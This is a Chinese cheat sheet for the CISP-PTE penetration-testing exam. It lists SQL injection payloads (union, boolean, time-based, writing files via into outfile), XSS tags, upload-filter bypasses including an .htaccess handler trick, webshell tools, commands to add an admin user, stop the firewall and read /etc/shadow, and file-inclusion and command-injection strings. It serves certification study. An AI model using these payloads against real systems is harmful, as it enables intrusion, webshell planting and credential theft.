CISP-PTE：

20/80 CTF 50 PT 30

CTF：

1、SQL注入（绕过/二阶）

原理：输入 --> 执行

判断：’ ---> 闭合 ’/"/)/%

注入：

联合查询 union select

order by 5 -- ss #%23 -- a%6ed

union select 1,2,3 -- ss

version()/database()/user()

information_schema.tables/columns

布尔注入（暴力破解） exists ascii

?id=1 and exists(select * from admin) -- ss

?id=1 and ascii(mid((select uname from user where id=1),1,1))>100 -- ss

延时注入 sleep if(bool,a,b)

报错注入 extractvalue（） updatexml（）

root: 读写

select load_file('c:\\www\\key.php')

select 123 into outfile 'c:\\www\\index.php'

绕过：

and -- &

or -- |

union -- UnioN/ununionion/un/**/ion/(un)(ion)/%00

Tool：sqlmap -u / -r

2、XSS - js脚本

本质：HTML注入 -- html/css/javascript

类型： Beef/XSS平台/蓝莲花xss

<script src=""></script> 编码 < <

反射型：

存储型：

基于DOM

读cookie

3、上传

一句话/webshell

Dos：

whoami/

net user admin 123 /add

防火墙 net stop firewall /netsh

3389 -- reg_add

Linux:

whoami/uname -a/useradd /chmod/ 4000 4755

/bin/passwd rwsr-xr-x /etc/passwd /etc/shadow

i权限： chattr +i

一句话：客户端工具：菜刀、蚁剑、冰蝎

上传：

a、后缀名 （白名单、黑名单） （jpg，png） （php，jsp）

php3 php4 php5 phtml .htaccess .php%00

<FilesMatch "gif">

SetHandler application/x-httpd-php

</FilesMatch>

b、文件头 .gif -- GIF89a

c、MIME类型

application/octet-stream image/jpeg image/gif text/plaint

d、文件内容 eval 'ev'.'al'

e、文件大小/

JS校验 -- 禁用js

解析漏洞：

IIS： a.asp;.png a.asp/1.png

Apache： a.php.png

上传文件的流程：

a、传 正常的图片

b、逐项更改 -- 判断检查点 -- 绕过

4、文件包含

include/require

php://filter/read=convert.base64-encode/resource=

LFI/RFI

msf-metasploit

5、命令执行

Linux - ; & | &&

Windows - &

cat/tac/more/less/tail/vi/vim

echo

wget

tar key.php 000

curl file:///tmp/key

6、代码审计

php

7、日志分析

关键字： /admin sql upload

PT：

1、后台

2、数据库

3、桌面